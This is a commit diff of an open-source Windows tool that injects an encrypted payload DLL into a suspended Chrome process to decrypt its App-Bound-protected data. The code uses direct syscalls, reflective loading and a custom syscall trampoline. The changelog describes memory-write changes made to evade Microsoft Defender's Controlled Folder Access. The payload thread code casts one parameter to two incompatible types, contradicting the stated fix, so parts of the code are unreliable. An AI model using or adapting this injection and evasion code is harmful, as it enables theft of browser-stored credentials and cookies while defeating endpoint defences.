Skip to content

Commit 88c95e6

Browse files
committed
v0.14.1
1 parent d89f6ba commit 88c95e6

8 files changed

+71
-96
lines changed

CHANGELOG.md

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,17 @@
22

33
## 🆕 Changelog
44

5+
### v0.14.1
6+
- **Architecture-Specific Stability Fix for x64 Syscall Trampoline**: Overhauled the x64 assembly trampoline to resolve a critical stability bug that caused a silent crash in the payload thread immediately after injection on x64 systems.
7+
- The previous dynamic, argument-aware loop created a complex code path that resulted in the assembler (`ml64.exe`) generating incorrect stack unwind data. This faulty data led to stack corruption and a silent crash when the new thread was initialized by the OS, causing the injector to hang indefinitely.
8+
- The x64 trampoline has been re-architected to mirror the robust, simplified design of the working ARM64 version. The dynamic loop has been replaced with a simple, unconditional `rep movsq` that copies a fixed, oversized block of stack arguments. This guarantees a linear code path, ensures the generation of correct unwind data, and makes the x64 injection process as reliable as the ARM64 one.
9+
- **Enhanced Evasion for Parameter Passing**: Reworked the method for passing the pipe name parameter to the payload to bypass modern behavioral security heuristics, specifically Microsoft Defender's Controlled Folder Access (CFA).
10+
- The previous method of using a separate `NtWriteVirtualMemory` call for the parameter was flagged by CFA when the injector was run from a protected location (e.g., the Desktop).
11+
- This has been replaced with an "argument smuggling" technique. A single, larger memory region is now allocated in the target process for both the payload DLL and its pipe name parameter. Both are written into this contiguous block, presenting a more organic and less suspicious memory I/O pattern that is not blocked by CFA.
12+
- **Bug Fix: Resolved Post-Injection Hang**: Corrected a logical desynchronization between the injector and the payload that caused the tool to hang after successfully creating the payload thread.
13+
- The payload's entry point was expecting a parameter in an outdated format from a previous, unsuccessful bypass attempt, while the injector was correctly passing a direct pointer using the new argument smuggling technique.
14+
- The payload's parameter handling logic has been reverted and fixed to correctly interpret the direct pointer, re-establishing communication with the injector and resolving the hang.
15+
516
### v0.14.0
617
- **Direct Syscall-Based Reflective Hollowing & Evasion**: Migrated the entire injection strategy from a live process "attach" model to a classic "hollowing" technique.
718
- The injector now launches the target browser via `CreateProcessW` in a `CREATE_SUSPENDED` state, providing full and uncontested control over the target's address space before any of its own code can execute.

src/chrome_decrypt.cpp

Lines changed: 10 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
// chrome_decrypt.cpp
2-
// v0.14.0 (c) Alexander 'xaitax' Hagenah
2+
// v0.14.1 (c) Alexander 'xaitax' Hagenah
33
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
44

55
#include <Windows.h>
@@ -658,7 +658,7 @@ namespace Payload
658658
class DecryptionOrchestrator
659659
{
660660
public:
661-
DecryptionOrchestrator(LPVOID lpPipeNamePointer) : m_logger(static_cast<LPCWSTR>(lpPipeNamePointer))
661+
DecryptionOrchestrator(LPCWSTR lpcwstrPipeName) : m_logger(lpcwstrPipeName)
662662
{
663663
if (!m_logger.isValid())
664664
{
@@ -721,29 +721,33 @@ struct ThreadParams
721721

722722
DWORD WINAPI DecryptionThreadWorker(LPVOID lpParam)
723723
{
724-
auto params = std::unique_ptr<ThreadParams>(static_cast<ThreadParams *>(lpParam));
724+
LPCWSTR lpcwstrPipeName = static_cast<LPCWSTR>(lpParam);
725+
726+
auto params = std::unique_ptr<ThreadParams>(new ThreadParams{});
727+
auto thread_params = std::unique_ptr<ThreadParams>(static_cast<ThreadParams *>(lpParam));
725728

726729
try
727730
{
728-
Payload::DecryptionOrchestrator orchestrator(params->lpPipeNamePointerFromInjector);
731+
Payload::DecryptionOrchestrator orchestrator(static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromInjector));
729732
orchestrator.Run();
730733
}
731734
catch (const std::exception &e)
732735
{
733736
try
734737
{
735-
Payload::PipeLogger errorLogger(static_cast<LPCWSTR>(params->lpPipeNamePointerFromInjector));
738+
Payload::PipeLogger errorLogger(static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromInjector));
736739
if (errorLogger.isValid())
737740
{
738741
errorLogger.Log("[-] CRITICAL DLL ERROR: " + std::string(e.what()));
739742
}
740743
}
741744
catch (...)
742745
{
746+
// Failsafe if logging itself fails.
743747
}
744748
}
745749

746-
FreeLibraryAndExitThread(params->hModule_dll, 0);
750+
FreeLibraryAndExitThread(thread_params->hModule_dll, 0);
747751
return 0;
748752
}
749753

src/chrome_inject.cpp

Lines changed: 19 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
// chrome_inject.cpp
2-
// v0.14.0 (c) Alexander 'xaitax' Hagenah
2+
// v0.14.1 (c) Alexander 'xaitax' Hagenah
33
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
44

55
#include <Windows.h>
@@ -118,7 +118,7 @@ class Console
118118
std::cout << "------------------------------------------------\n"
119119
<< "| Chrome App-Bound Encryption Decryption |\n"
120120
<< "| Direct Syscall-Based Reflective Hollowing |\n"
121-
<< "| x64 & ARM64 | v0.14.0 by @xaitax |\n"
121+
<< "| x64 & ARM64 | v0.14.1 by @xaitax |\n"
122122
<< "------------------------------------------------\n\n";
123123
ResetColor();
124124
}
@@ -485,29 +485,34 @@ class InjectionManager
485485

486486
m_console.Debug("Allocating memory for payload in target process.");
487487
PVOID remoteDllBase = nullptr;
488-
SIZE_T payloadSize = m_decryptedDllPayload.size();
488+
SIZE_T payloadDllSize = m_decryptedDllPayload.size();
489+
SIZE_T pipeNameByteSize = (pipeName.length() + 1) * sizeof(wchar_t);
490+
SIZE_T totalAllocationSize = payloadDllSize + pipeNameByteSize;
489491

490-
NTSTATUS status = NtAllocateVirtualMemory_syscall(m_target.getProcessHandle(), &remoteDllBase, 0, &payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
492+
NTSTATUS status = NtAllocateVirtualMemory_syscall(m_target.getProcessHandle(), &remoteDllBase, 0, &totalAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
491493
if (!NT_SUCCESS(status))
492494
throw std::runtime_error("NtAllocateVirtualMemory failed: " + Utils::NtStatusToString(status));
493-
m_console.Debug("Payload memory allocated at: " + Utils::PtrToHexStr(remoteDllBase));
495+
m_console.Debug("Combined memory for payload and parameters allocated at: " + Utils::PtrToHexStr(remoteDllBase));
494496

495-
m_console.Debug("Writing payload to target process.");
497+
m_console.Debug("Writing payload DLL to target process.");
496498
SIZE_T bytesWritten = 0;
497-
status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remoteDllBase, m_decryptedDllPayload.data(), m_decryptedDllPayload.size(), &bytesWritten);
499+
status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remoteDllBase, m_decryptedDllPayload.data(), payloadDllSize, &bytesWritten);
498500
if (!NT_SUCCESS(status))
499-
throw std::runtime_error("NtWriteVirtualMemory failed: " + Utils::NtStatusToString(status));
501+
throw std::runtime_error("NtWriteVirtualMemory for payload DLL failed: " + Utils::NtStatusToString(status));
502+
503+
m_console.Debug("Writing pipe name parameter into the same allocation.");
504+
LPVOID remotePipeNameAddr = reinterpret_cast<PBYTE>(remoteDllBase) + payloadDllSize;
505+
status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remotePipeNameAddr, (PVOID)pipeName.c_str(), pipeNameByteSize, &bytesWritten);
506+
if (!NT_SUCCESS(status))
507+
throw std::runtime_error("NtWriteVirtualMemory for pipe name failed: " + Utils::NtStatusToString(status));
500508

501509
m_console.Debug("Changing payload memory protection to executable.");
502510
ULONG oldProtect = 0;
503-
status = NtProtectVirtualMemory_syscall(m_target.getProcessHandle(), &remoteDllBase, &payloadSize, PAGE_EXECUTE_READ, &oldProtect);
511+
status = NtProtectVirtualMemory_syscall(m_target.getProcessHandle(), &remoteDllBase, &totalAllocationSize, PAGE_EXECUTE_READ, &oldProtect);
504512
if (!NT_SUCCESS(status))
505513
throw std::runtime_error("NtProtectVirtualMemory failed: " + Utils::NtStatusToString(status));
506514

507-
m_console.Debug("Passing pipe name parameter to target.");
508-
LPVOID remotePipeNameAddr = passPipeNameToTarget(pipeName);
509-
510-
startPayloadInNewThread(remoteDllBase, rdiOffset, remotePipeNameAddr);
515+
startHijackedThreadInTarget(remoteDllBase, rdiOffset, remotePipeNameAddr);
511516

512517
m_console.Success("New thread created for payload. Main thread remains suspended.");
513518
}
@@ -531,22 +536,6 @@ class InjectionManager
531536
chacha20_xor(g_decryptionKey, g_decryptionNonce, m_decryptedDllPayload.data(), m_decryptedDllPayload.size(), 0);
532537
}
533538

534-
LPVOID passPipeNameToTarget(const std::wstring &pipeName)
535-
{
536-
LPVOID remotePipeNameAddr = nullptr;
537-
SIZE_T pipeNameSize = (pipeName.length() + 1) * sizeof(wchar_t);
538-
NTSTATUS status = NtAllocateVirtualMemory_syscall(m_target.getProcessHandle(), &remotePipeNameAddr, 0, &pipeNameSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
539-
if (!NT_SUCCESS(status))
540-
throw std::runtime_error("NtAllocateVirtualMemory for pipe name failed: " + Utils::NtStatusToString(status));
541-
542-
SIZE_T bytesWritten = 0;
543-
status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remotePipeNameAddr, (PVOID)pipeName.c_str(), pipeNameSize, &bytesWritten);
544-
if (!NT_SUCCESS(status))
545-
throw std::runtime_error("NtWriteVirtualMemory for pipe name failed: " + Utils::NtStatusToString(status));
546-
547-
return remotePipeNameAddr;
548-
}
549-
550539
DWORD getReflectiveLoaderOffset()
551540
{
552541
auto dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(m_decryptedDllPayload.data());
@@ -598,7 +587,7 @@ class InjectionManager
598587
return 0;
599588
}
600589

601-
void startPayloadInNewThread(PVOID remoteDllBase, DWORD rdiOffset, PVOID remotePipeNameAddr)
590+
void startHijackedThreadInTarget(PVOID remoteDllBase, DWORD rdiOffset, PVOID remotePipeNameAddr)
602591
{
603592
m_console.Debug("Creating new thread in target to execute ReflectiveLoader.");
604593

src/reflective_loader.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
// reflective_loader.c
2-
// v0.14.0 (c) Alexander 'xaitax' Hagenah
2+
// v0.14.1 (c) Alexander 'xaitax' Hagenah
33
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
44

55
#include <windows.h>

src/reflective_loader.h

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
// reflective_loader.h
2-
// v0.14.0 (c) Alexander 'xaitax' Hagenah
2+
// v0.14.1 (c) Alexander 'xaitax' Hagenah
33
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
44

55
#ifndef REFLECTIVE_LOADER_H

src/resource.rc

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
11
// resource.rc
2-
// v0.14.0 (c) Alexander 'xaitax' Hagenah
2+
// v0.14.1 (c) Alexander 'xaitax' Hagenah
33
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
44
PAYLOAD_DLL RCDATA "chrome_decrypt.enc"

src/syscall_trampoline_arm64.asm

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
; syscall_trampoline_arm64.asm
2-
; v0.14.0 (c) Alexander 'xaitax' Hagenah
2+
; v0.14.1 (c) Alexander 'xaitax' Hagenah
33
; Licensed under the MIT License. See LICENSE file in the project root for full license information.
44
;
55
; A simple and ABI-compliant ARM64 trampoline. This version preserves callee-saved

src/syscall_trampoline_x64.asm

Lines changed: 27 additions & 56 deletions
Original file line numberDiff line numberDiff line change
@@ -1,80 +1,51 @@
11
; syscall_trampoline_x64.asm
2-
; v0.14.0 (c) Alexander 'xaitax' Hagenah
2+
; v0.14.1 (c) Alexander 'xaitax' Hagenah
33
; Licensed under the MIT License. See LICENSE file in the project root for full license information.
44
;
5-
; The definitive, ABI-compliant, and argument-aware x64 trampoline.
6-
; This version combines a stable stack frame with meticulous preservation of
7-
; non-volatile registers, guaranteeing no corruption of the C++ caller's state.
5+
; ABI-compliant x64 trampoline with unconditional marshalling for max arguments.
6+
; Allocates sufficient stack to prevent overwrite issues. Uses rep movsq for efficient block copy.
7+
; Preserves necessary non-volatile registers. Eliminates dynamic loop to reduce complexity and potential errors.
8+
; Sets SSN before dispatching to gadget. Handles up to 11 syscall arguments safely (copies 8 stack slots, extra as harmless garbage).
89

910
.code
1011
ALIGN 16
1112
PUBLIC SyscallTrampoline
1213

1314
SyscallTrampoline PROC FRAME
14-
; — Prologue: Establish a stable, ABI-compliant stack frame —
15-
; We push RBP to create the frame, then immediately push every non-volatile
16-
; register that this function will modify. This is the most critical step
17-
; for preventing caller-state corruption.
1815
push rbp
1916
mov rbp, rsp
20-
push r12
21-
push r13
17+
push rbx
2218
push rdi
2319
push rsi
24-
sub rsp, 64 ; Allocate stack space for shadow space and locals.
25-
26-
; Mark the end of the prologue for the ml64 assembler.
20+
sub rsp, 80h ; Allocate 128 bytes: safe for shadow (0x20) + 8 qwords (0x40) + padding
2721
.ENDPROLOG
2822

29-
; — Preserve SYSCALL_ENTRY* pointer —
30-
; We save it in a preserved register (R12) for use throughout the function.
31-
mov r12, rcx
32-
33-
; — Marshal C arguments to the x64 Syscall Convention —
34-
; Kernel requires arguments in: R10, RDX, R8, R9, and then the stack.
35-
mov rcx, rdx ; C-Arg2 (e.g., ProcessHandle) -> goes into RCX temporarily.
36-
mov rdx, r8 ; C-Arg3 -> Syscall-Arg2 (RDX)
37-
mov r8, r9 ; C-Arg4 -> Syscall-Arg3 (R8)
38-
mov r9, [rbp+30h] ; C-Arg5 (from original caller's stack) -> Syscall-Arg4 (R9)
23+
mov rbx, rcx ; Preserve SYSCALL_ENTRY* in rbx (non-volatile)
3924

40-
; — Dynamically marshal stack arguments using an argument-aware loop —
41-
; This prevents reading garbage from the caller's stack, which would cause
42-
; STATUS_INVALID_PARAMETER_MIX errors.
43-
mov r13d, [r12+8] ; Load nArgs from SYSCALL_ENTRY into our preserved R13 register.
44-
cmp r13d, 4
45-
jle _DispatchSetup ; If 4 or fewer args, no stack marshalling is needed.
46-
47-
sub r13d, 4 ; R13d now holds the exact count of stack args to move.
48-
49-
; Prepare pointers for the block move using our preserved registers.
50-
lea rdi, [rsp+20h] ; RDI = Destination (Syscall-Arg 5's slot on our local stack).
51-
lea rsi, [rbp+38h] ; RSI = Source (C-Arg 6's slot on the caller's stack).
52-
53-
push rcx ; Temporarily save Syscall-Arg1, as REP MOVSQ uses RCX.
54-
mov ecx, r13d ; Load the argument count into the loop counter.
55-
rep movsq ; Execute the block move of QWORDs.
56-
pop rcx ; Restore Syscall-Arg1.
25+
; Marshal register-based arguments (shifted due to extra SYSCALL_ENTRY* parameter)
26+
mov r10, rdx ; Syscall-Arg1 <- C-Arg2
27+
mov rdx, r8 ; Syscall-Arg2 <- C-Arg3
28+
mov r8, r9 ; Syscall-Arg3 <- C-Arg4
29+
mov r9, [rbp+30h] ; Syscall-Arg4 <- C-Arg5 (from caller's stack)
5730

58-
_DispatchSetup:
59-
; — Final preparation for kernel transition —
60-
; Emulate the mandatory ntdll stub behavior to prevent STATUS_INVALID_HANDLE.
61-
mov r10, rcx ; Copy Syscall-Arg1 from RCX to R10.
31+
; Unconditionally marshal 8 stack arguments (covers max of 7 needed + 1 extra; garbage for fewer is harmless)
32+
lea rsi, [rbp+38h] ; Source: C-Arg6 (Syscall-Arg5 position in caller's stack)
33+
lea rdi, [rsp+20h] ; Destination: Syscall-Arg5 position in local stack
34+
mov rcx, 8 ; Copy 8 qwords (64 bytes)
35+
rep movsq ; Block copy (efficient and modular)
6236

63-
; Load the SSN and gadget address.
64-
movzx eax, word ptr [r12+12] ; Load ssn from SYSCALL_ENTRY (offset 12).
65-
mov r11, [r12] ; Load pSyscallGadget from SYSCALL_ENTRY (offset 0).
37+
; Prepare for kernel transition
38+
movzx eax, word ptr [rbx+12] ; Load SSN into EAX
39+
mov r11, [rbx] ; Load gadget address
6640

67-
; — Dispatch the syscall —
68-
call r11
41+
call r11 ; Dispatch to gadget (syscall; ret)
6942

70-
; — Epilogue: Cleanly unwind and return to C++ —
71-
; The NTSTATUS result is already in RAX, the correct return register.
72-
add rsp, 64 ; Deallocate local stack space.
73-
pop rsi ; Restore all preserved registers in reverse order.
43+
; Epilogue: Restore stack and registers
44+
add rsp, 80h
45+
pop rsi
7446
pop rdi
75-
pop r13
76-
pop r12
77-
pop rbp ; Restore the caller's frame pointer.
47+
pop rbx
48+
pop rbp
7849
ret
7950
SyscallTrampoline ENDP
8051
END

0 commit comments

Comments
 (0)